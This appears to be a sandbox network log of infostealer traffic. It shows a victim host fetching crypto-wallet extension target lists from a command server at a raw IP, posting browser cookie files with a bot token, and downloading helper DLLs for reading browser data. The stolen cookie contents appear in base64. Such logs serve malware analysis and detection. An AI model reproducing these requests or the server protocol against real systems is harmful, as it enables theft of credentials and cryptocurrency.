TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 20, 2024 21:16:05.626681089 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 20, 2024 21:16:05.626697063 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 20, 2024 21:16:05.627130985 CEST	636	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Oct 20, 2024 21:16:05.627146006 CEST	1236	IN	Data Raw: 5a 47 52 6d 5a 6d 5a 73 59 57 78 38 4d 58 77 77 66 44 42 38 52 30 46 31 64 47 67 67 51 58 56 30 61 47 56 75 64 47 6c 6a 59 58 52 76 63 6e 78 70 62 47 64 6a 62 6d 68 6c 62 48 42 6a 61 47 35 6a 5a 57 56 70 63 47 6c 77 61 57 70 68 62 47 70 72 59 6d Data Ascii: ZGRmZmZsYWx8MXwwfDB8R0F1dGggQXV0aGVudGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWhrYW5kY2xibGJ8MXwwfDB8S2VlUGFzc1hDfG9ib29uYWtlbW9mcGFsY2dnaG9jZm9hZG9maWRqa2trfDF8MHwwfERhc2hsYW5lfGZ
Oct 20, 2024 21:16:05.627165079 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 69 5a 32 70 76 5a 33 42 76 61 57 52 6c 61 6d 52 6c 62 57 64 76 62 32 4e 6f 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 Data Ascii: IFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGh
Oct 20, 2024 21:16:05.627181053 CEST	528	IN	Data Raw: 59 6d 4e 74 62 6d 4a 77 5a 32 78 70 62 32 5a 38 4d 58 77 77 66 44 42 38 56 47 39 75 61 32 56 6c 63 47 56 79 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 52 75 5a 33 42 73 5a 6d 70 74 62 6d 39 76 63 48 Data Ascii: YmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB
Oct 20, 2024 21:16:05.629163980 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGHCGIIDGDAKFIEBKFCF Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 33 39 62 32 66 63 36 35 36 62 34 39 31 37 66 31 38 64 61 37 64 35 34 37 64 32 37 32 63 35 66 66 36 61 39 65 63 66 34 30 31 65 38 31 36 61 36 39 65 62 62 35 66 38 32 37 61 31 37 30 65 32 61 36 38 39 37 65 37 33 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 2d 2d 0d 0a Data Ascii: ------CGHCGIIDGDAKFIEBKFCFContent-Disposition: form-data; name="token"3339b2fc656b4917f18da7d547d272c5ff6a9ecf401e816a69ebb5f827a170e2a6897e73------CGHCGIIDGDAKFIEBKFCFContent-Disposition: form-data; name="message"fplugins------CGHCGIIDGDAKFIEBKFCF--
Oct 20, 2024 21:16:05.973452091 CEST	335	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 19:16:05 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 20, 2024 21:16:06.003449917 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBGIEHDBAAFIDGDAAAA Host: 185.215.113.37 Content-Length: 7063 Connection: Keep-Alive Cache-Control: no-cache
Oct 20, 2024 21:16:06.003505945 CEST	7063	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 43 42 47 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 33 39 62 32 Data Ascii: ------ECBGIEHDBAAFIDGDAAAAContent-Disposition: form-data; name="token"3339b2fc656b4917f18da7d547d272c5ff6a9ecf401e816a69ebb5f827a170e2a6897e73------ECBGIEHDBAAFIDGDAAAAContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 20, 2024 21:16:06.875749111 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 19:16:06 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 20, 2024 21:16:07.614898920 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 20, 2024 21:16:07.960329056 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 19:16:07 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 20, 2024 21:16:07.960342884 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 20, 2024 21:16:09.510488033 CEST	952	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDAEBGCAAECAKFHIIJDB Host: 185.215.113.37 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 33 39 62 32 66 63 36 35 36 62 34 39 31 37 66 31 38 64 61 37 64 35 34 37 64 32 37 32 63 35 66 66 36 61 39 65 63 66 34 30 31 65 38 31 36 61 36 39 65 62 62 35 66 38 32 37 61 31 37 30 65 32 61 36 38 39 37 65 37 33 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------IDAEBGCAAECAKFHIIJDBContent-Disposition: form-data; name="token"3339b2fc656b4917f18da7d547d272c5ff6a9ecf401e816a69ebb5f827a170e2a6897e73------IDAEBGCAAECAKFHIIJDBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------IDAEBGCAAECAKFHIIJDBContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ3LWdUY1dxSHZadlpiYWZPcGtxUnkwZEx5WUc5QWpQMnZiVUJvbWFybmM5cGNaVmxoSGtVZVVhV011ckQwR0dYeVcwNV9CXzFJeVVOWUVFTG15cVJnCi5nb29nbGUuY29tCVRSVUUJLwlGQUxTRQkxNjk5MDcxNjQwCTFQX0pBUgkyMDIzLTEwLTA1LTA2Cg==------IDAEBGCAAECAKFHIIJDB--
Oct 20, 2024 21:16:10.358263016 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 19:16:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 20, 2024 21:16:10.480484962 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDBAKKKFBGDHJKFHJJJJ Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 4a 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 33 39 62 32 66 63 36 35 36 62 34 39 31 37 66 31 38 64 61 37 64 35 34 37 64 32 37 32 63 35 66 66 36 61 39 65 63 66 34 30 31 65 38 31 36 61 36 39 65 62 62 35 66 38 32 37 61 31 37 30 65 32 61 36 38 39 37 65 37 33 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 4a 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 4a 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GDBAKKKFBGDHJKFHJJJJContent-Disposition: form-data; name="token"3339b2fc656b4917f18da7d547d272c5ff6a9ecf401e816a69ebb5f827a170e2a6897e73------GDBAKKKFBGDHJKFHJJJJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GDBAKKKFBGDHJKFHJJJJContent-Disposition: form-data; name="file"------GDBAKKKFBGDHJKFHJJJJ--
Oct 20, 2024 21:16:11.332283974 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 19:16:10 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 20, 2024 21:16:12.331742048 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIJEGCBGIDGHIDHDGCB Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 33 39 62 32 66 63 36 35 36 62 34 39 31 37 66 31 38 64 61 37 64 35 34 37 64 32 37 32 63 35 66 66 36 61 39 65 63 66 34 30 31 65 38 31 36 61 36 39 65 62 62 35 66 38 32 37 61 31 37 30 65 32 61 36 38 39 37 65 37 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="token"3339b2fc656b4917f18da7d547d272c5ff6a9ecf401e816a69ebb5f827a170e2a6897e73------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="file"------KFIJEGCBGIDGHIDHDGCB--
Oct 20, 2024 21:16:13.177325010 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 19:16:12 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 20, 2024 21:16:13.933928013 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 20, 2024 21:16:14.276460886 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 19:16:14 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 20, 2024 21:16:15.305665970 CEST	93	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 20, 2024 21:16:15.647309065 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 19:16:15 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 20, 2024 21:16:15.988493919 CEST	94	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 20, 2024 21:16:16.330081940 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 19:16:16 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 20, 2024 21:16:16.632141113 CEST	90	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
